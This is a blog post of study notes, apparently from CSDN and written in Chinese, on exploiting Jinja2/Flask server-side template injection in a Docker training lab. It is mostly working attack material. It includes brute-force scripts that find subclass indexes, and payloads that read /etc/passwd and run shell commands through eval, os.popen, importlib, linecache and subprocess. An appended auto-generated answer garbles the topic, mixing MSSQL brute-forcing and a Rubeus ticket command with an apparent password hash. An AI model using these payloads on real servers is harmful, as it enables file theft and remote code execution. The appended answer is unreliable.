SSTI-3 常用模块及利用方法

笔记主要学习内容来自 重庆橙子科技 SSTI模板注入

配合 docker 靶场 mcc0624/flask_ssti 食用效果更佳。

个人对于 python 是个彻头彻尾的初学者,文中对于 python 的部分定义理解可能会显得愚蠢,关键字称呼可能有错,还望师傅们海涵。更希望有师傅能指正一二,在下感激不尽。

ssti


SSTI 漏洞的两种利用方式

  • 文件读取(很多适合可配合此法解出 pin 码)
  • RCE 远程代码执行

一、 文件读取

通过读取关键问价获取信息,可借此获取 flag 或 计算 pin 码拿到 python debug shell 干更多事情。

关键子类:__frozen__importlib__external.FileLoader
该子类可用于读取系统文件

以靶场 mcc0624/flask_ssti jinja2模板注入 例题进行 payload 构造。

请添加图片描述

step1: 脚本查找

脚本爆破获取关键子类 __frozen__importlib__external.FileLoader 索引值

原始脚本来自橙子科技陈腾老师

# 引入 request 模块用于发起请求
import requests
# input 定义爆破 url
url = input('请输入 URL : ')
# 设置范围为 500
for i in range(500):
    # 爆破的 payload ,注意关键字 name 为本题接收参数,其他环境应根据实际分析
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    # 爆破测试
    try:
        # post 请求后的响应信息
        response = requests.post(url, data=data)
        # 打印响应信息
        # print(response.text)

        # 当状态码为 200 时,寻找响应信息中是否包含关键子类
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                # 若存在,则打印索引值
                print(i)
    except:
        # 不存在或出现错误,则退出本次循环
        pass

也可以去掉异常处理,直接这么写,更加简洁一点:

import requests
url = input('请输入 URL : ')
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if '_frozen_importlib_external.FileLoader' in response.text:
            print(i)

爆破成功,获得索引值 79。

请添加图片描述

测试一下对不对(方便起见,建议利用 hackbar 进行注入)

请添加图片描述

页面返回 Hello <class '_frozen_importlib_external.FileLoader'>! ,说明没有问题。

step2: 构造 payload

这个类不需要进行初始化等操作(暂时不能理解原因),直接利用其 get_data() 函数即可。
get_data() 的详细定义没找到,只知道其利用时第一个参数为 0 ,第二个参数为文件路径即可。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

请添加图片描述

至此,注入目标基本完成。关于 pin 码计算的内容,之后再聊。

关于 payload 中 _frozen_importlib_external.FileLoader.get_data(0,"/etc/passwd") ChatGpt 的解释

这段 Python 代码调用了 _frozen_importlib_external.FileLoader.get_data() 方法来获取指定文件的内容。
让我逐步解释这段代码的含义:
1. _frozen_importlib_external.FileLoader:这是 Python 中的一个内部模块,用于加载和执行模块文件。
2. .get_data():这是 FileLoader 对象的一个方法,用于获取指定文件的内容。
3. 0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。
4. "/etc/passwd":这是要获取内容的文件路径,即 /etc/passwd 文件。
综合起来,这段代码的目的是使用 _frozen_importlib_external.FileLoader.get_data() 方法来获取 /etc/passwd 文件的内容。请注意,这段代码可能存在安全风险,因为它允许读取系统中的敏感文件。在实际应用中,应该谨慎处理文件路径,以防止未经授权的文件访问。

补充:通过 payload: name={{config}} 可以查看 flask 配置信息,部分签到题的 flag 可能设置在里面。

二、RCE 远程代码执行

1. 内建函数 eval 执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问。
更详细的说明可看 参考1 参考2

step1: 脚本查找

首先通过脚本查找可以利用内建函数 eval 的模块:

import requests
url = input("请输入 URL:")
for i in range(500):
    # payload 中需要先初始化再列出所有全局变量
    data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "eval" in response.text:
            print(i)

返回的索引值很多,就用 66 吧

请添加图片描述

还是测试一下,没得问题

请添加图片描述

step2: 构造 payload

利用内建函数 eval() 和 popen(a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a’a) 执行系统命令
上面这句奇怪的话是我在半夜时突然看到一只大蜘蛛无意间按到键盘打出。

利用内建函数 eval() 和 popen() 执行系统命令

name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

一点解释
__builtins__: 提供对Python的所有“内置“标识符的直接访问。
eval(): 计算字符串表达式的值。
__import__: 加载 os 模块。
popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
popen() 执行命令后没有直接回显,最后加个 read() 函数读取回显内容)。

请添加图片描述

图上用的 117 索引值,一样的。

over~

2. os 模块执行系统命令

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)
  • 通过 config
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
  • 通过 url_for
{{url_for.__globals__.os.popen('ls').read()}}
# 等价于
{{url_for.__globals__['os'].popen('ls').read()}}
  • 通过 lipsum
{{lipsum.__globals__.os.popen('cat flag').read()}}

执行不同系统命令做个区分

2.2 在已经加载 os 模块的子类里直接调用 os 模块
step1: 脚本查找

老规矩,先用脚本查找哪些子类已经加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "os.py" in response.text:
            print(i)

请添加图片描述

step2: 构造 payload

返回很多,随便选一个构造最后的payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

over~

3. importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块。

step1: 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "_frozen_importlib.BuiltinImporter" in response.text:
            print(i)

请添加图片描述

step2: 构造 payload

根据返回索引值 69 ,构造 payload 。

{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

4. linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

stp1 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "linecache" in response.text:
            print(i)

请添加图片描述

step2: 构造 payload
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

5. subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档

简单地说,这个模块也可以执行 shell 命令。

step1: 脚本查找
import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "subprocess.Popen" in response.text:
            print(i)

请添加图片描述

step2: 构造 payload
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

ChatGpt 对 payload 中 subprocess.Popen('ls /',shell=True,stdout=-1).communicate()[0].strip() 的解释:

这段 Python 代码使用了 subprocess 模块来执行系统命令,并获取其输出。
让我逐步解释这段代码的含义:
1. subprocess.Popen:这是 subprocess 模块中的一个函数,用于创建一个新的子进程来执行外部命令。
2. 'ls /':这是要执行的命令,即列出根目录下的文件和文件夹。
3. shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。
4. stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到 subprocess.PIPE,以便在后续步骤中获取输出。
5. .communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。
6. [0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。
7. .strip():这是一个字符串方法,用于去除字符串两端的空白字符。
综合起来,这段代码的目的是执行系统命令 ls /,并获取其输出。它使用 subprocess.Popen 创建一个子进程来执行命令,并通过 .communicate() 方法等待命令执行完毕并获取输出。最后,使用 .strip() 方法去除输出字符串两端的空白字符。请注意,这段代码可能存在安全风险,因为它允许执行任意系统命令。在实际应用中,应该谨慎处理用户提供的输入,以防止命令注入攻击。

个人觉得 GPT 的解释比绝大多数博客的解释准确详细,也比官方文档通俗易懂。good job!

* 总结

step1: 脚本查找对应模块,类的索引值
step2: 构造 payload

# 1. 文件读取
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"etc/passwd")}}
# 2. 内建函数 eval()
{{().__class__.__mro__[-1].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
# 3. os 模块 flask
{{lipsum.__globals__.os.popen('cat flag').read()}}
# 4. os 模块 other
{{[].__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
# 5. importlib 类
{{{}.__class__.base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat flag").read()}}
# 6. linecache 函数
{{''.__class__.__bases__[0].__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls").read()}}
# 7. subprocess.Popen 类
{{[].__class__.__base__.__subclasses__()[200]("ls /",shell=True,stdout=-1).communicate()[0].strip()}}

参考

python中的builtins,__builtin__与__builtins__的关系与区别
subprocess — 子进程管理 — Python 3.10.12 文档
__builtins__ 与 __builtin__(builtins)

By QING

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
为了通关ssti-lab靶场,你可以按照以下步骤进行操作: 1. 首先,从上一个数据库中找到的password字典中获取到mssql的账户密码。 2. 使用这个账户密码进行mssql的暴力破解,以获得访问权限。 3. 一旦你获得了访问权限,你可以使用SSTI有效载荷发生器来执行特定类型的Java SSTI攻击。该有效载荷发生器可以生成针对Java SSTI的payload,启发于${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)...}。 4. 另外,你还可以使用Rubeus工具来申请访问自身的可转发服务票据。通过运行命令".\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:bd2cf5e6a8f89ed5b02d3d7fcf5e88c7 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt",你可以生成一个可转发的服务票据文件,以便在后续攻击中使用。 通过以上步骤,你可以成功通关ssti-lab靶场。请注意,在进行任何攻击前,确保你有合法的授权和使用权,并且遵守法律法规。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [WP-春秋云镜-Brute4Road靶场通关完全指南](https://blog.csdn.net/qq_45234543/article/details/128482984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [ssti-payload:SSTI有效载荷生成器](https://download.csdn.net/download/weixin_42128558/15099898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值